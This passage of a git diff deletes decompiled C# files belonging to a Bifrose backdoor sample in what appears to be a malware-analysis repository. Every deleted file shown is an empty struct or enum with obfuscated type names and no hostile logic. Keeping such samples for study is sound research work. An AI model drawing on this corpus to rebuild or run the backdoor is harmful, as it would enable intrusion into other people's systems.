b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_008D.cs deleted file mode 100644 index eb1a3f2f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_008D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 56)] - internal struct \u008D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0094.cs deleted file mode 100644 index 7c7ff59c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ .cs deleted file mode 100644 index 10cf7595..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ .cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct \u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/¨.cs deleted file mode 100644 index ab2a89f6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/­.cs deleted file mode 100644 index 2b6a1c20..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/­.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/±.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/±.cs deleted file mode 100644 index 133ebd0b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/±.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.± -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u00B1 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/´.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/´.cs deleted file mode 100644 index 5e641d2b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/´.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.´ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00B4 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/µ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/µ.cs deleted file mode 100644 index f9cd43c0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/µ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.µ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct µ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Á.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Á.cs deleted file mode 100644 index a5c4194b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Á.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Á -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct Á - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Ê.cs deleted file mode 100644 index abcae79c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/Ê.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ê - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ä.cs deleted file mode 100644 index 7afb380a..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/ä.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0090.cs deleted file mode 100644 index a31bfe92..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0090.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0098.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0098.cs deleted file mode 100644 index 36a49308..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_0098.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚˜ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082\u0098 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_009D.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_009D.cs deleted file mode 100644 index 7c1a9222..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_0082_009D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u009D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_008E.cs deleted file mode 100644 index 1475eea6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/_008E.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u008E - { - [NativeCppClass] - [CLSCompliant(false)] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/®.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/®.cs deleted file mode 100644 index 7e0741ab..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/®.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.® -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00AE - { - [CLSCompliant(false)] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ñ.cs deleted file mode 100644 index 0aa90a0d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ñ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ö.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ö.cs deleted file mode 100644 index 10f8ff77..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ö.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ö -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct Ö - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ü.cs deleted file mode 100644 index 85a28f09..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/Ü.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/è.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/è.cs deleted file mode 100644 index 7567ef24..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/å/è.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.è -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct è - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0081Ï.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0081Ï.cs deleted file mode 100644 index 5e2f7cae..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0081Ï.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.Ï -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 20)] - internal struct \u0081Ï - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0099.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0099.cs deleted file mode 100644 index 316059c7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/_0099.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.™ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0099 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¦.cs deleted file mode 100644 index 19376b2f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¦.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 